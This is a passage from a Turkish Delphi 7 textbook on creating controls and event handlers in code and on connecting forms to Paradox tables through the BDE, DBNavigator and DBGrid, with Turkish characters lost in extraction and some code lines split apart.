BLM 16 DELPHIDE KONTROLLER & YORDAMLARI KODLA OLUTURMAK

589

590

Kontrolleri ve Yordamlar Kodla Oluturmak: Tasarm Annda oluturduunuz tm kontrollerin program ierisinde bir kod karl vardr. rnek olarak formun zerine srkleyip braktnz bir kontrol iin Delphi otomatik olarak tm yordamlarn ve zelliklerini belirleyecektir. Sizde kolayca gerekli zelliini deitirip veya ilgili yordama gerekli kodu yazarak sonuca ulaabilirsiniz. Peki tasarm annda says belli olmayan kontroller iin nasl bir ilem yaplabilmektedir. imdi bu hususu akla kavuturacaz. lk Olarak aadaki gibi formun zerinde olmayan bir Edit kontroln yaratalm.

procedure TForm1.FormActivate(Sender: TObject); var yenitext: TEdit; begin yenitext:=TEdit.Create(Form1);//yarat yenitext.SetBounds(0,0,100,20);//left=0,top=0,width=100,height=20 yenitext.Parent:=Form1;// muhakkak ekleyin end; Kodu aadaki yaratabilirsiniz. ekilde deitirirseniz bu seferde Button kontrol

591

procedure TForm1.FormActivate(Sender: TObject); var yenibutton:TButton; begin yenibutton:=TButton.Create(Form1); yenibutton.SetBounds(0,0,40,20); yenibutton.Parent:=Form1; yenibutton.Caption:='Tkla';//etiketini belirle end; Grld gibi kodla kontrol oluturmak dndnzden ok daha kolay olmaktadr. imdi olay biraz daha derinletirip oluturmu olduumuz buttonun OnClick olayn yaratarak tkladmz zaman bu kodu iletelim. type TForm1 = class(TForm) procedure FormActivate(Sender: TObject); private procedure yenibutton_Click(sender:TObject); //eklemeyi unutmayn { Private declarations } public { Public declarations } end; procedure TForm1.FormActivate(Sender: TObject); var yenitext: TEdit; yenibutton:TButton; begin yenibutton:=TButton.Create(Form1); yenibutton.SetBounds(0,0,40,20); yenibutton.Parent:=Form1; yenibutton.Caption:='Tkla'; yenibutton.OnClick:=yenibutton_Click;//tklannca bu prosedr ilet end; procedure TForm1.yenibutton_Click(sender:TObject); begin ShowMessage('Teni Buttona Tkladnz'); end; Kodla yaratm olduumuz kontrole tklannca prosedr nasl iletebileceimizi adm adm aklayalm.

592

Birinci admda formun public veya private ksmnda iletilecek olan prosedr tanmlayn. type TForm1 = class(TForm) procedure FormActivate(Sender: TObject); private procedure yenibutton_Click(sender:TObject); //eklemeyi unutmayn { Private declarations } public { Public declarations } end; kinci admda kontrole tklanld zaman iletilecek olan kodu yazacanz prosedr oluturun. mle yukardaki satda iken Ctrl+Shift+C tularna beraberce basarsanz prosedrnz Delphi otomatik olarak oluturacaktr. procedure TForm1.yenibutton_Click(sender:TObject); begin ShowMessage('Teni Buttona Tkladnz'); end; nc admda aadaki kodu yazarak kontrolnz yaratnz. procedure TForm1.FormActivate(Sender: TObject); var yenibutton:TButton; begin yenibutton:=TButton.Create(Form1); yenibutton.SetBounds(0,0,40,20); yenibutton.Parent:=Form1; yenibutton.Caption:='Tkla'; yenibutton.OnClick:=yenibutton_Click;//prosedr ilet end; Burada yaratlan yenibutton isimli kontrole tklannca yenibutton_Click yordamnn iletilmesini salayan satr aada verilmitir. yenibutton.OnClick:=yenibutton_Click;//prosedr ilet

593

imdi kodla Edit kontrol yaratp OnKeyPress yordamn oluturacam. Dikkatlice inceleyiniz. type TForm1 = class(TForm) procedure FormActivate(Sender: TObject); procedure FormCreate(Sender: TObject); private procedure yenitext_KeyPress(sender:TObject;var //unutmayn { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); var yenitext: TEdit; yenibutton:TButton; begin yenitext:=TEdit.Create(Form1);//ekle yenitext.SetBounds(0,0,100,20); yenitext.Parent:=Form1; yenitext.OnKeyPress:=yenitext_KeyPress;//ilet end; procedure TForm1.yenitext_KeyPress(sender: TObject; var Key: Char); begin Form1.Caption:=Key;//balkta yaz end; Programnz altrp Edit kontrol ierisine tklayn. Klavyeden girilen tm karakterlerin formun balnda yazdn greceksiniz. zlenen admlar yukardaki rnekte olduu gibi gerekletii iin extra anlatacak bir husus bulunmamaktadr.

Key:Char);

//eklemeyi

594

ki Kontrolun Ayn Yordam Kullanmas: Aadai kodla iki kontrol yaratp ayn prosedr iletmesini salayacaz. Fakat ikisinin iletecei kodlar farkl olacaktr. Ltfen dikkatlice inceleyiniz. type TForm2 = class(TForm) procedure FormCreate(Sender: TObject); private procedure ikikontrol(Sender:TObject);//Tanmlamay unutmaynz { Private declarations } public { Public declarations } end; var Form2: TForm2; implementation {$R *.dfm} var Button1,Button2: TButton;//global deiken olacak procedure TForm2.FormCreate(Sender: TObject); begin Button1:=TButton.Create(Form2);//yarat Button2:=TButton.Create(Form2);//yarat Button1.SetBounds(0,0,40,20); Button2.SetBounds(0,40,40,20); Button1.Parent:=Form2; Button2.Parent:=Form2; Button1.Caption:='lk Dme'; Button2.Caption:='kinci Dme'; Button1.OnClick:=ikikontrol;//tklaynca ilet Button2.OnClick:=ikikontrol;//tklaynca ilet end; procedure TForm2.ikikontrol(Sender: TObject); begin if Sender=Button1 Then//ilk dme tklanrsa ShowMessage('lk Dmeye Tkladnz') else if Sender=Button2 Then//ikinci dme tklanrsa ShowMessage('kinci Dmeye Tkladnz'); end;

595

Koda dikkat edecek olursanz ilk yaplan ilem ikikontrol isimli, Buttonlara tklanld zaman iletilecek ortak prosedr tanmlayp kodlarn eklemek. Daha sonra Dmeleri oluturup yeni tanmlanan bu prosedre ait kodlarn iletilmesini salamak (daha nceki rnekte anlatld). Burada dikkat edeceiniz dier bir husus Sender parametresi kullanlarak hangi dmeye tklanld anlalabilmektedir. imdi programnz altrp iki dmeyede tklayn, her defasnda farkl uyar alacaksnz. imdi de tasarm annda forma eklenmi iki buttonun ayn yordam kullanmasn salayalm. lk olarak formunuza iki adet Button kontrol yerletirin. Ardndan Object Inspector penceresinde yer alan Events yaprana gein.

Burada yer alan OnClick yordamna aadaki kodu ekleyiniz. procedure TForm2.Button1Click(Sender: TObject); begin if Sender=Button1 Then ShowMessage('lk Buttonu Tkladnz') else if Sender=Button2 Then ShowMessage('kinci Butonu Tkladnz'); end; Bu admda Button2 kontroln seerek Object Inspector penceresindeki Events yaprana gein. Bu yaprakta yer alan OnClick yordamna ift tklamadan sanda yer alan oka tklayn. Alan listeden Button1Click yordamn seiniz. Artk Button1 veya Button2 dmelerinden hangisine tklarsanz tklayn Button1Click yordamn iletirsiniz. Dilerseniz ikiden fazla kontrol iin de ayn ilemi yapabilirsiniz.

596

Aadaki pencerede Button2 ye tklanld zaman Button1Click yordamn iletebilmek iin yapmanz gereken ilem gsterilmektedir.

Aadaki kodu da Unit pencerenize ekleyiniz. procedure TForm2.Button1Click(Sender: TObject); begin if Sender=Button1 Then//tklanan ilk dme ise ShowMessage('lk Buttonu Tkladnz') else if Sender=Button2 Then//ikinci dme ise ShowMessage('kinci Butonu Tkladnz'); end; Kodlamada kullanlan Sender parametresinin, kontroln tasarm annda eklenmesi veya kodla oluturulmas gibi bir sorunu bulunmamaktadr. Bu hususta stteki rnei inceleyebilirsiniz. imdiki konumuz aadaki gibi bir kontrol dizisi tanmlayarak, kontrolleri formun ierisinde sola-saa doru hareket ettirmek olacaktr.

597

Kontrol dizisimni formun private veya public ksmnda aadaki ekilde tanmlaynz. text:Array[0..2] of Tedit;//Kontrol dizisi Programa ait tm kod blou aada verilmitir. type TForm3 = class(TForm) Timer1: TTimer; procedure FormCreate(Sender: TObject); procedure Timer1Timer(Sender: TObject); private text:Array[0..2] of TEdit;//Dizi Deikeni burada tanmlayn { Private declarations } public { Public declarations } end; procedure TForm3.FormCreate(Sender: TObject); var i:Integer; sol,ust:Integer; begin sol:=0; ust:=1; for i:=0 to 2 do begin text[i]:=TEdit.Create(Form3);//yarat text[i].SetBounds(sol,ust*30*i,40,20); Text[i].Parent:=Form3; end; Timer1.Interval:=10; end; procedure TForm3.Timer1Timer(Sender: TObject); {$j+} const yon:Boolean=false; var i:Integer; begin if yon=false Then

598

begin for i:=0 to 2 do begin if Text[i].Left>=Form3.Width-text[i].Width Then//sa kede ise begin yon:=true;//sola dn end else begin text[i].Left:=text[i].Left+10;//10 birim saa end; end; end else begin for i:=0 to 2 do begin if Text[i].Left<=0 Then//sol keye geldiyse begin yon:=false;//saa dn end else begin text[i].Left:=text[i].Left-10;//10 birim sola end; end; end; end; Program altrdktan sonra kodla oluturduunuz kontroller formun boyutlarn amadan sola ve saa doru hareket edecektir. Unutmaynz:Dizi Deikenler her zaman tercihiniz Olmal. Dngleri ve dizi deikenleri i ie ok iyi kullanabilen bir programcnn altndan kalkamayaca hi bir sorun olamaz.

599

600

BLM 17 DELPHIDE VERTABANI

601

602

Ver Taban Uygulamalar: Bu blme kadar yapm olduunuz uygulamalar, kullanc arayzn oluturmay ve tetikleyiciler le kodlar nasl iletebileceinizi anlamaya ynelikti. Dikkat ettiyseniz yazm olduunuz kodlar dnda, girmi olduunuz tm bilgiler program kapatp anca kaybolmaktadr. Profesyonel uygulamalarnzda gnlk dzenli olarak rapor tutmanz gerekecektir. Bu yzden bu verileri daha sonra kullanmak amal bilgisayarnzda saklamalsnz. Bilgisayara veri saklama ilemlerlerini dzenli bir tablo yapsna sahip olan veritaban programlaryla gerekletirmekteyiz. Daha sonra Delphi ile bu veritaban uygulamalarna balanp gerekli bilgilere ulaabilmekteyiz. unu unutmayn bilgilerin tutulduu yer Delphi deildir. Bilgiler veritaban programlarna kaydedilir (Paradox,Dbase,Access,SQL Server vs). Delphi de size salad imkanla bu veri taban bilgilerini istediiniz gibi kullanmanz salar. Biz uygulamalarmzda Delphinin en verimli kullanabildii Paradox tablolarndan faydalanacaz. ayet ok byk network uygulamalar oluturacaksanz SQL Server veya Oracle kullanmalsnz.

Delphi7de Veitaban balantlarn gerekletirmek iin Component Palet ara ubuunda bulunan BDE Yapran kullanr. Bu yapraktaki kontroller sayesinde kolayca veri tabanlarn tablolarna balanabilmektedir.

Yine Component Palet yapranda bulunan Data Controls kontrolleriyle de tablolar ynetmek iin kullancya gerekecek olan ara yz oluturma seenekleri sunulmaktadr.

603

BDE Kontrolleri: Veritaban balant ilemlerini gerekletiren kontroller bu yaprakta bulunur. Direk veritabanyla almak bir ok durumda (bilhassa network ortamnda binlerce kiinin ayn tabloya bilgi girdiini dnrseniz) performans asndan saknca yaratmaktadr. Bu yzden performans en st dzeyde tutmak iin bilgi girileri tm kullanclarn local mekinelerinde yaplr, msait bir zaman dada servera gnderilir. Dorusunu isterseniz bu sistem online gnderimler dnda ok etkili olmutur. Tm dillerin kulland yapda budur. imdi sizlere bu alma imkanlarn oluturan BDE kontrollerine bir gz atalm. Table Kontrol: Bu kontrol sayesinde veritabannda bulunan tablo ile direk balant kurulur. Lokal bilgisayarda ana tablonun birebir bir kopyas oluturularak yaplan deiiklikler bu kontrole yazlrlar. Daha sonra msait bir zamanda tm deiiklikler veri taban tablosuna tekrar yazdrlr. Ben bu kontrolle veritabanna balanmanz (zorunlu kalmadnz srece) , bilhassa ok fazla satr ieren tablolarda tavsiye etmiyorum. Ama balant mantn anlamanz asndan kesinlikle ok iyi bilinmesi gerektiini dnyorum. Query Kontrol: Veri Taban tablolarnz sorgulayarak local makinenize indiren kontroldr. Bu tr balantda tablonuzdaki tm satrlara (isterseniz tm tabloyuda alabilirsiniz) deil sadece sizi ilgilendiren satrlara ulamak iin kullanlr. StoredProc kontrolnden sonra balant ilemleri iin en ok kullanacanz kontrol olduunu belirtmek isterim. Bu kontrolle Table kontrolnn yapt gibi hi bir kriter koymadan tm tablo bilgilerine de kolayca ulaabilirsiniz. StoredProc Kontrol: Veri Taban tablolarna en hzl ve etkili balant salayan BDE kontroldr. Bu kontrolle yaplan balantdaki ama, trafii azaltmak iin servera sadece parametre gndererek tekrar tekrar tablolarn derlenmemesini salamaktr. Stored procedurler altrldklar andan kapatlana kadar sadece bir kere derlenirler, bu da Query kontrolne gre ilk altrlmadan sonra ok daha hzl sonu vermesini salamaktadr. Bu kontrol DELPH7 kitabndan sonra karacamz VERTABANI ve NETWORK PROGRAMCILII ksmnda ok detayl olarak incelenecektir (SQL Server balantlarnda). Tabiidirki bu kitapta da bu konuya yer vermedik deil, ok ey reneceinizden eminiz. imdi dier kontrollere geelim.

604

Database Kontrol: Bilhassa Trasaction ilemlerinde kullanlan ve yaplan tm deiiklikleri yazdrabileceiniz bir kontroldr. Bu kontrollerden projenize ne kadar ok eklerseniz programnzn o kadar performans kaybedeceini unutmaynz. Yukarda bahsedilen tm kontroller kullancya oluturacanz arayz ile Veri Taban tablolar arasnda ki balanty oluturmak iindir. Arayz kontrollerinde yapacanz deiiklikler ncelikle bu nesnelerde etkili olacaktr. Daha sonra istenildii vakit ana tabloya da yansmalar salanacaktr. Paradox Tablolarna Balant: Delphinin en performansl alma yapt Veri Taban Paradoxtur. Bu yzden rneklerimizi (ok byk yazlmlar hari en ok bu veri taban kullanlr) bu tablolar zerinde younlatracaz. Tablo oluturmaya gemeden nce ileride ok iinize yarayacak (muhakkak ilk bu ilemi yapn) olan Alias tanmlama ileminden bahsetmek istiyorum. Alias Tanmlamak: Alias lar tablolarn bulunduu adresi tutan takma adlardr. Bu yap sayesinde her defasnda tablonun adresini girmek zorunda kalmazsnz. Uygulamaya balamadan tablolarnz kaydedeceiniz klasre takma ad (Alias) belirlersiniz. Yapacanz balantlarda tablonun yolunu deilde belirlemi olduunuz bu Alias kullanrsnz. Alias tanmlamak iin aadaki admlar izleyin. Start->Settings->Control Panel seeneklerini arka arkaya tklayn. Karnza aadaki pencere alacaktr.

Alan pencereden BDE Administrator seeneine ift tklayn. Karnza aadaki pencere alacaktr. 605

Alan bu pencerede DataBase zerine mousun sa tuuna tklayarak men penceresini an ve New seeneine tklayn. Aadaki pencere alacaktr.

Bu pencereyi OK Buttonuna tklayarak gein. Yeni Alias nz pencerenize STANDART ismi ile eklenecektir. smini deitirip (gazi) PATH ksmnada tablonuzu kaydedeciiniz klasr girin (veya sein)

Grdnz gibi biz tablonun kaydedilecei klasr c:\prestige olarak belirledik. Alias ismi olarak ta gazi seimini kullandk. 606

Pencereyi kapatp, gelen uyar penceresine de olumlu cevap verin. Alias tanmlamas yaptktan sonra oluturacanz tablolara bu alias kullanarak erimek istiyorsanz tablolarnz c:\prestige klasrnn ierisine (nk bu klasr path olarak gsterildi) kaydetmelisiniz. Aksi takdirde bu alias iinizi grmeyecektir. Paradoxta Tablo Oluturmak: Paradoxta tablo oluturmak iin iki ynteminiz mevcut. Birincisi Delphi yi hi amadan (biz bu yolu tavsiye ediyoruz. Tablolar ile ilgili ilemleri yaparken uygulamanz kapatmanz oluabilecek sorunlar engelleyecektir. Bilhassa balantdaki bir tablo tasarmn deitirmenize paradox izin vermeyecektir) Start->Programs->Borland Delphi7->DataBase Destop admlarn izleyin. Alan pencereden File->New->Table seeneklerini seerek aadaki Create Table penceresinin almasn salayn.

Bu pencerede destek verilen Veri Tabanlarnn isimleri bulunmaktadr. Tablonuzu hangi veri tabannda oluturacaksanz onu samelisiniz. Biz Paradox u kullanacamz iin Paradox7 seeneini seerek OK Buttonuna bastk. Karnza aada gsterilen pencere alacaktr. Bu pencerede tablonuzda yer alacak olan stun isimlerini,stun tiplerini,stun uzunluklarn ve index lerinizi belirlemelisiniz. Dier seenekler zaten Delphi ierisinden ok kolay halledilebilecei iin onlarla fazla kafanz yormanz tavsiye etmem. Aada karakteristik zellikleri verilen stunlar burada oluturunuz.
Fieeld Name(Stun smi) SIRANO MAGAZAADI SERVISTARIHI GIDENFIRMA ARIZASEBEBI FATURATUTARI Type(Tipi) + A D A A $ 25 25 25 Size (Ka Karakter) Otomatik artar Key(Primary ind) *

Tabloya dikkat edin illk stun kolon balklarn, ikinci stun ieriin tipini (Type ksmnda mousun sa tuuna basarsanz tm seenekler listelenir), nc stun ka karakter veri alabileceini (tarih ve parasal ieriklerde paradox bu 607

deeri kendisi belirler), son stun ise tablonuzdaki Primary index i belirler. * koyduunuz stun o tablo iin Primary index stunu olacaktr (dikkat edin en stteki stunu primary belirleyebilirsiniz).imdi Save As buttonuna tklayarak tablonuzu gazi Aliasnn gsterdii klasrn (c:\prestige) ierisine SERVIS ismiyle kaydedin.

Save As buttonuna tkladktan sonra alan yukardaki pencerede yer alan Alias ksmndan gazi yi semeniz c:\prestige klasrn aktif yapmaya yetecektir. smini (SERVIS) yazp kaydedebilirsiniz. 608

Tablo Yapsnda Deiiklik Yapmak: imdi sizlere ikinci yntemle (bu yntemle tabloda oluturabilirsiniz) tablo yapsnda nasl deiiklik yapabileceinizi gstermek istiyorum (siz hep birinci yolu takip edin). Tools->DataBase Destop admlarndan sonra ayn pencere alacaktr. Alan bu pencerede File->Open->Table seeneklerini seip, dosya a penceresinin almasn salayn. Daha nceden kaydettiiniz tablonuzu (Alias isminden hemen bulabilirsiniz) seip Open dmesine basn. Ardndan Table->Restructure seeneklerini seerek tablonuzu oluturduunuz pencereye dnebilirsiniz. Burada tablo yapnz iin gerekli deiiklikleri yapabilirsiniz. Uyar:Tablonuzu balangta dzgn tasarlamaya nem gsteriniz.Daha sonra yapmak isteyeceiniz fazla radikal deiiklere Paradox izin vermeyebilir, tablonuzu tekrar oluturmak zorunda kalabilirsiniz. DataBase Destop Kullanarak Tabloya Kayt Girmek: Bu yntemi fazla kullanmayacaksnz ama rnekleri hzl denemek iin bilmekte fayda var. DataBase Desktop atktan sonra File->Open seenekleri ile tablonuzu an. Table->Edit Data admlarn izleyin, tablonuza bu ekrandan kolayca kayt girebilirsiniz.

imdilik yukardaki kaytlar Edit Data komutunu vererek Paradox Veri Taban ierisinden giriniz. Bu aamadan sonra Delphiden BDE kontrollerini kullanarak bu tabloya balant salayacaz. Girdiimiz kaytlardaki ama balantnn doru olarak kurulup kurulmad iindir. Yoksa kullanc az nceki ekrandan asla kayt girmeyecektir. 609

Uygulamanzdan Paradox Tablolarna Balanmak: Programnz ierisinden Paradox veri tabanna aadaki admlar izleyerek kolayca balanabilirsiniz. Birinci admda formunuzun zerine BDE Yapranda bulunan Table nesnesinden bir adet yerletin. Table kontrolnn DataBaseName zelliine tablonuzun ierisinde bulunduu klasr referans gsteren Alias nzn (bizim rneimizde gazi) ismini aktarn. nc admda yine Table nesnesini seerek Object Inspector penceresinden Table Name zelliine paradox ta oluturduunuz tablonuzun ismini girin (veya sein). Bizim rneimizde SERVIS tablosu olacaktr. Drdnc admda aadaki form tasarmn oluturup, alt (6) adet Label kontrol ile yine alt (6) adet DataControls yapranda yer alan DBEdit kontrol yerletiriniz.

Yerletirdiiniz kontroller ile Table nesnesi arasndaki balanty salamak iin formunuza bir adet DataAccess yapranda yer alan DataSource kontrol yerletirin. DataSource kontroln seip Object Inspector pencersinden DataSet zelliine eklemi olduunuz Table kontrolnzn ismini aktarn. ayet deitirmediyseniz Table1 olarak alan pencerede gzkecektir. Bu admda Table nesnenizin Active zelliine true deerini aktarn ve aadaki DBEdit kontrol ayarlarna gein. 610

DBEdit1 kontrolnz seip Object Inspector penceresinden DataSource zelliine formunuza eklemi olduunuz DataSource nesnenizin ismini aktarn (veya sein). ayet ismini deitirmediyseniz DataSource1 olarak gzkecektir. Yine Object Inspector penceresinden DataField zellii iin semi olduunuz tabloya ait uygun stunu sein (tm stun isimleri bu zellikte gzkecektir). Bizim rneimizde ilk DBEdit kontrol SIRANO yu gsterecei iin bu ismi setik. Son adm olarak dier DBEdit kontrolleri iinde ayn iki ayar yaparak uygulamanz altrnz. Tm kayt bilgilerinin kontrollere aktarldn greceksiniz. Resimli veya CheckBox eren Tablo Stunlaryla Balant: Baz durumlarda tablonuzda kiiye ait resimleri saklamak zorunda kalabilirsiniz. Bu tip durumlarda o stun iin uygun bir tip semelisiniz. Paradox resim alanlar iin stun tipinizi OLE olarak belirlemenizi ister. Ayn ekilde MEDENI HAL gibi evet-hayr seenekleri ieren stunlar iinse Logical tipini semeniz gerekecektir. imdi aadaki tabloyu oluturup program ierisinden bu tabloya balanalm.
Fieeld Name(Stun smi) SIRANO MUSTERIADI MEDENIHALI SATISTARIHI SATILANURUN RESMI Type(Tipi) + A L D A O 25 25 Size (Ka Karakter) Otomatik artar Key(Primary ind) *

Bu tabloda Type ksmnda kullanlan A harfi karakter veriler iin,L harfi true-false ierikler iin,D Tarihsel ierikler iin,+ karakteri otomatik artan stunlar iin, O harfi ise resim tr verileri barndrmak iin kullanlmaktadr. Wizard Kullanarak Veri Tabanna Balanmak: Aadaki admlar izleyerek sihirbaz sayesinde kolayca oluturmu olduunuz tabloya balanabilirsiniz. File->New->Other seeneklerini izleyerek New Items penceresinin almasn salayn. Alan bu pencereden Business yapran aktifletirin. DataBase Form Wizard seeneini ift tklayarak sihirbaz ilemleriniz iin devreye sokun.

611

Aadaki Database Form Wizard penceresi alacaktr. Bu pencerede Form Options ksmndan Create a simple form seeneini DataSet Options ksmndan da Create a form using Ttable objects i seerek Next buttonuna tklayn.

Aadaki yeni pencere alacaktr.

Bu pencerede Drive or Alias name ksmndan tablonuzun bulunduu klasr referans gsteren Alias nz seip MUSTERI tablosunu iaretleyin (ayn Alias n ierisinde istediiniz kadar tablo yaratabilirsiniz).

612

Next buttonuna tkladktan sonra aadaki pencere alacaktr. Bu pencerede yer alan Available Fields ksmndaki tm stun balklarn >> dmesine tklayarak Order Selected Fields penceresine aktarn.

Next buttonuna tkladktan sonra alan pencereden Vertical seeneini sein. Next buttonuna tkladktan sonra alan pencereden Left seeneini sein. Next buttonuna tkladktan sonra Form Only seenei iaretli iken Finish buttonuyla bitirin.

Yukardaki ekilde her eyin hazr bulunduu bir form oluturacaktr. Artk programnz altrabilirsiniz. 613

ayet tasarm bir nceki rnekte olduu gibi kendiniz yapmak isterseniz. MEDENHAL Stunu iin DBEdit kontrol yerine ayn yaprakta yer alan DBCheckBox kontroln kullanmak, ayn ekilde RESMI Stunu iin de, yine ayn yaprakta yer alan DBImage kontroln kullanmanz gerekecektir. Dier ilemleri hi bir deiiklik yapmadan aynen uygulamalsnz. Bu rnekte RESIM stununun bo olduu sanyorum dikkatinizi ekmitir. Aktif kayda aadaki ekilde ekleyeceiniz bir kod blouyla kolayca resim ekleyebilirsiniz.

Formunuza Dialog yapranda yer alan OpenDialog kontrolnden bir adet yerletirip aadaki kod satrlarnda resmi gsteren kontroln OnDblClick yordamna ekleyiniz. procedure TForm3.ImageRESMIDblClick(Sender: TObject); var yol:AnsiString; begin OpenDialog1.Title:='Resim Se'; OpenDialog1.Filter:='ico Dosyalar|*.ico|Bmp Dosyalar|*.bmp'; if OpenDialog1.Execute Then begin yol:=OpenDialog1.FileName; Table1.Edit; //deime moduna al ImageRESMI.Picture.LoadFromFile(yol); Table1.Post;//yazdr end; end; 614

Kodda kullanlan ImageRESMI komutu kontroln ismidir. ayet deitirmediyseniz stun ismine yakn bir isim alacaktr. Yaplan ilem ise resmin zerine ift tkland zaman OpenDialog penceresi almaktadr. Tablo kaytlar zerinde deiiklik yaplabilmesi iin muhakkak Edit moduna alnmas gerekir. Table1.Edit satryla yaplan ilem budur. En son olarak Table1.Post komutuyla yeni resim veri Tabanna yazdrlmaktadr. DBNavigator Kontrol: Bu kontrol kullanarak kaytlar aras gezinti, Yeni kayt ekleme, kayt silme, kayt gncelleme ilemlerini kolayca yapabilirsiniz. Kontrole DataControls yaprandan eriebilirsiniz. zerindeki buttonlar ve anlamlar aada verilmitir.
lk Kayt nceki Kayt Sonraki Kayt Son Kayt Kayt Ekle Kayt Sil Deitir Kaydet ptal Gncelle lk Kayda Gider Bir nceki Kayda Gider Bir Sonraki Kayda Gider En Son Kayda Gider Yeni Bo Kayt Ekler Aktif Kayd Siler Kayd Deitirme Moduna Al Kayd Tabloya Yazar Son Yaplan Deiiklikleri ptal Eder Tabloyla yeniden veri ak oluturur.

Aada sizin yabanc olduunuz en genel zellikleri verilmitir. Kullanm son derece basit olan bu zellikler ile Navigator kontroln en etkili ekilde kullanabilirsiniz. DataSource Bu zellii sayesinde ynetilecek olan kaynak belirlenir (tablo, query veya Stored Procedur). Kodla veya Object Inspector penceresinden kolayca ayarlanabilir (Genellikle properties penceresinden ayarlamak yeterli olacaktr). Hints Bu zellikle mous kontroln zerine geldiinde o dmenin ne ie yaradn gsteren aklama balonlarnn ierikleri belirlenebilir.Burada hatrlatalm, balon ieriklerinin gsterilebilmesi iin ShowHint zelliinin true olmas gerekmektedir. Aksi takdirde Aklama balon ierikleri var olsa bile kullanc tarafndan gzkmeyecektir.

615

Aadaki String List Editor penceresi aklama balon ieriklerini gstermektedir.

Varsaylan olarak ingilizce yazlan bu deerleri sray bozmadan Trke karlklarna evirebilirsiniz. Pencere ieriklerini aada gsterilen ekilde deitiriniz. ShowHint zelliini true yapnz ve programnz altrnz.

Bu aamadan sonra mousu Navigator kontrol zerinde bekletirseniz aklama balonlarnz yukarda belirtilen trke karlklaryla kullancy bilgilendirecektir.

616

VisibleButtons Bu zellikle gsterilecek olan dmeleri belirleyebilirsiniz. Kontrol seip Object Inspector penceresinden gsterilmesini istemediiniz buttonun zelliini false yapmalsnz.

zelliini false yaptnz button artk kullanc tarafndan gzkmeyecektir. Bu ekilde salt okunur kaytlar retebilirsiniz. Yani kullanc sadece kaytlar aras gezinti yapabilecek asla kaytlarnz deitiremiyecektir. DBNavigator Kontrol in Tklanan Dmeye Kod Yazmak: Her ne kadar DBNavigator dmeleri kendi kodlarn iletsede sizde bu kodlara ekleme yapabilirsiniz. Bu ilem iin ncelikle DBNavigator kontroln seip OnClick yordamn oluturmasn salayn. OnClick Yordam Bu yordam DBNavigator kontrol ierisindeki dmelerden hangisine tklarsanz tklayn ileyen bir yordamdr. Bu yordamda tanmlanan Button parametresi tklanan dmenin numarasn tutarak programcya o dmeye ait ek kod yazma ans vermektedir. Aadaki kodu yazp program altrn. Bu aamada ilk Kayt dmesine tklayn. procedure TForm3.DBNavigatorClick(Sender: TNavigateBtn); begin if Button=nbFirst Then //ilk dme tklanrsa ShowMessage('lk Kayda Geldiniz') end; TObject; Button:

617

lk Kayt Dmesine tkladktan sonra aadaki gibi kullancy bilgilendirmek amal eklemi olduunuz kod iletilecektir. Bu yordama yazacanz kodlar, kontroln kendi kodlarn iletmesini engellemez.

Burada tklanlan dme prosedr ierisinde tanmlanan Button isimli parametrede tutulmaktadr. nbFirst deerini almas ilk dmenin tklanld anlamn tamaktadr. Aada dier dmelerin anlamlar tablo halinde verilmitir.
Button nbFirst nbPrior nbNext nbLast nbInsert nbDelete nbEdit nbPost nbCancel nbRefresh Sonu lk Kayt Buttonu Tkland nceki Kayt Buttonu Tkland Sonraki Kayt Buttonu Tkland Son Kayt Buttonu Tkland Kayt Ekle Tkland Kayt Sil Tkland Kayt Deitir Tkland Kaydet Tkland Deiiklikleri ptal Et Tkland Gncelle Tkland

BeforeAction Yordam Herhangi bir dmeye tklanld anda, kontrol henz kendi kodlarn iletmeden hemen nce sizin, kodlarnzn iletilmesini salayan bir yordamdr. Ayn ekilde burada da Button parametresi hangi dmenin tklanldn belirlemek iin kullanlmaktadr.

618

procedure TForm3.DBNavigatorBeforeAction(Sender: TObject; Button: TNavigateBtn); begin if Button=nbCancel Then//iptal dmesine basarsa begin ShowMessage('Yaplan En Son Deiiklikler ptal Edilecek'); end; end; Kaytlar DataGrid Nesnesinde Gstermek: Tablonuzda yer alan kaytlar topluca kullancya gstermek iin kullanlan en popler kontrol DataGrid nesnesidir. Uygulamanza DataControls yapranda yer alan bu kontrolden bir adet yerletirip DataSource zelliine verilerinizi gstereceiniz tabloya ait DataSource kontroln aktarn. ayet ismini deitirmediyseniz bizim projemizde DataSource1 olarak gzkecektir.

Program altrdktan sonraki pencere grnts yukardaki gibi oluacaktr. DBNavigator kontrol ile kaytlar arasnda gezinti yaparsanz hem DBEdit kontrolnn hemde DataGrid nesnesinin kayt pozisyonunun beraberce deitiini greceksiniz. Bunun sebebi kontrollerin kaynak olarak ayn nesneyi yan DataSource1 kontroln kullanmalarndan kaynaklanmaktadr. Mesela DBNavigator kontrolnde yer alan Kayt Ekle dmesine tklarsanz ister DataGrid nesnesinden, isterseniz DBEdit kontrollerinden kaytlarnz kolayca girebilirsiniz. Sonu iki durumda da ayn olacaktr. 619

Kayt lemlerini Kodla Yapmak: Baz durumlarda kayt ilemleri iin DBNavigator kontroln kullanmak istemeyebilirsiniz (zorunlu kaldnz durumlar da olabilir). O zaman her eyi kodla yaptrmak zorunda kalacaksnz. Aadaki tasarm oluturup gerekli balantlar yukarda anlattmz ekilde yapn.

Dmelere ait kodlar aada verilmitir. Tamamn uygulamanza ait Unit penceresine ekleyiniz. procedure TForm4.FormCreate(Sender: TObject); begin Table1.Open;//Tabloyu a end; procedure TForm4.Button1Click(Sender: TObject); //lk Kayda Git begin Table1.First; end; procedure TForm4.Button2Click(Sender: TObject);

620

//nceki Kayt begin if not Table1.Bof Then //ilk kayt deilse Table1.Prior else ShowMessage('Zaten lk Kayttasnz'); end; procedure TForm4.Button3Click(Sender: TObject); //Sonraki Kayt begin if not Table1.Eof Then Table1.Next else ShowMessage('Zaten Son Kayttasnz'); end; procedure TForm4.Button4Click(Sender: TObject); //Son Kayt begin Table1.Last; end; procedure TForm4.Button5Click(Sender: TObject); //Kayt Ekle begin Table1.Insert; EditMAGAZAADI.SetFocus;//imle ilk stuna gitsin end; procedure TForm4.Button6Click(Sender: TObject); //Kayt Sil var mesaj:Integer; begin mesaj:=Application.MessageBox('Silmek stediinizden MB_YesNo); if mesaj=mrYes Then begin Table1.Delete; ShowMessage('Kayt Silindi'); end else ShowMessage('Kayt Silme lemi ptal Edildi'); end; procedure TForm4.Button7Click(Sender: TObject);

Eminmisiniz','Sil',

621

